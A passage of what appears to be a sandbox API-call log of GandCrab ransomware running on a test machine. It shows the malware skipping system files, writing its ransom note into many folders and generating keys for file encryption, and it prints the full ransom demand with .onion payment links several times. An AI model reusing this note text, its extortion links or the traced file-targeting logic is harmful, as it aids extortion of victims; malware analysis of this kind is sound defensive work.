https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0171.450] WriteFile (in: hFile=0x510, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285d424, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285d424*=0xad6, lpOverlapped=0x0) returned 1 [0171.451] CloseHandle (hObject=0x510) returned 1 [0171.452] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\GDCB-DECRYPT.txt") returned 251 [0171.452] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\GDCB-DECRYPT.txt") returned 251 [0171.452] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\GDCB-DECRYPT.txt") returned 251 [0171.452] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\GDCB-DECRYPT.txt") returned 251 [0171.452] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0171.452] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0171.452] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0171.452] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0171.452] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0171.452] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0171.452] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0171.452] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0171.452] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0171.452] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.452] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.452] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.452] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.454] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\\\GDCB-DECRYPT.txt") returned 264 [0171.454] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\history.ie5\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.454] GetLastError () returned 0x3 [0171.454] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\container.dat") returned 260 [0171.454] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\container.dat") returned 260 [0171.454] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db") returned 235 [0171.454] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db") returned 235 [0171.454] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db") returned 235 [0171.454] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db") returned 235 [0171.454] lstrcmpiW (lpString1="IconCache.db", lpString2="desktop.ini") returned 1 [0171.454] lstrcmpiW (lpString1="IconCache.db", lpString2="autorun.inf") returned 1 [0171.454] lstrcmpiW (lpString1="IconCache.db", lpString2="ntuser.dat") returned -1 [0171.454] lstrcmpiW (lpString1="IconCache.db", lpString2="iconcache.db") returned 0 [0171.454] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.455] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.455] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.455] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.455] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\\\GDCB-DECRYPT.txt") returned 250 [0171.455] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0171.458] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0171.458] WriteFile (in: hFile=0x50c, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285d6ac, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285d6ac*=0xad6, lpOverlapped=0x0) returned 1 [0171.459] CloseHandle (hObject=0x50c) returned 1 [0171.459] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.459] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.459] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.459] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.460] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v2.0\\\\GDCB-DECRYPT.txt") returned 259 [0171.460] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v2.0\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v2.0\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0171.463] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0171.463] WriteFile (in: hFile=0x510, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285d424, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285d424*=0xad6, lpOverlapped=0x0) returned 1 [0171.463] CloseHandle (hObject=0x510) returned 1 [0171.464] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v2.0\\GDCB-DECRYPT.txt") returned 258 [0171.464] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v2.0\\GDCB-DECRYPT.txt") returned 258 [0171.464] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v2.0\\GDCB-DECRYPT.txt") returned 258 [0171.464] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v2.0\\GDCB-DECRYPT.txt") returned 258 [0171.464] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0171.464] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0171.464] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0171.464] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0171.464] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0171.464] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0171.464] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0171.464] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0171.464] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0171.464] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.464] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.464] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.464] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.465] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v2.0\\UsageLogs\\\\GDCB-DECRYPT.txt") returned 269 [0171.465] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v2.0\\UsageLogs\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v2.0\\usagelogs\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.465] GetLastError () returned 0x3 [0171.466] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v2.0\\UsageLogs\\WINPROJ.EXE.log") returned 267 [0171.466] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v2.0\\UsageLogs\\WINPROJ.EXE.log") returned 267 [0171.466] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v2.0\\UsageLogs\\WINPROJ.EXE.log") returned 267 [0171.466] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v2.0\\UsageLogs\\WINPROJ.EXE.log") returned 267 [0171.466] lstrcmpiW (lpString1="WINPROJ.EXE.log", lpString2="desktop.ini") returned 1 [0171.466] lstrcmpiW (lpString1="WINPROJ.EXE.log", lpString2="autorun.inf") returned 1 [0171.466] lstrcmpiW (lpString1="WINPROJ.EXE.log", lpString2="ntuser.dat") returned 1 [0171.466] lstrcmpiW (lpString1="WINPROJ.EXE.log", lpString2="iconcache.db") returned 1 [0171.466] lstrcmpiW (lpString1="WINPROJ.EXE.log", lpString2="bootsect.bak") returned 1 [0171.466] lstrcmpiW (lpString1="WINPROJ.EXE.log", lpString2="boot.ini") returned 1 [0171.466] lstrcmpiW (lpString1="WINPROJ.EXE.log", lpString2="ntuser.dat.log") returned 1 [0171.466] lstrcmpiW (lpString1="WINPROJ.EXE.log", lpString2="thumbs.db") returned 1 [0171.466] lstrcmpiW (lpString1="WINPROJ.EXE.log", lpString2="GDCB-DECRYPT.txt") returned 1 [0171.466] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v2.0\\UsageLogs\\WINPROJ.EXE.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v2.0\\usagelogs\\winproj.exe.log")) returned 0xffffffff [0171.466] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v2.0\\UsageLogs\\WINPROJ.EXE.log", dwFileAttributes=0xfffffffe) returned 0 [0171.466] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0171.466] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.467] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.467] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0171.467] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.467] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0171.467] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.467] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.467] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0171.467] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.467] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0171.469] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6182a8) returned 1 [0171.469] CryptGetKeyParam (in: hKey=0x6182a8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.469] CryptEncrypt (in: hKey=0x6182a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2bd0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x2bd0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0171.470] GetLastError () returned 0x0 [0171.470] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0171.470] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0171.472] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x617e68) returned 1 [0171.472] CryptGetKeyParam (in: hKey=0x617e68, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.472] CryptEncrypt (in: hKey=0x617e68, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2be0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x2be0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0171.472] GetLastError () returned 0x0 [0171.472] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0171.472] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v2.0\\UsageLogs\\WINPROJ.EXE.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v2.0\\usagelogs\\winproj.exe.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.472] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.472] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.472] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.472] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.474] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\\\GDCB-DECRYPT.txt") returned 259 [0171.474] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v4.0\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0171.476] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0171.476] WriteFile (in: hFile=0x510, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285d424, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285d424*=0xad6, lpOverlapped=0x0) returned 1 [0171.477] CloseHandle (hObject=0x510) returned 1 [0171.477] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\GDCB-DECRYPT.txt") returned 258 [0171.477] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\GDCB-DECRYPT.txt") returned 258 [0171.477] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\GDCB-DECRYPT.txt") returned 258 [0171.477] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\GDCB-DECRYPT.txt") returned 258 [0171.477] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0171.477] lstrcmpiW 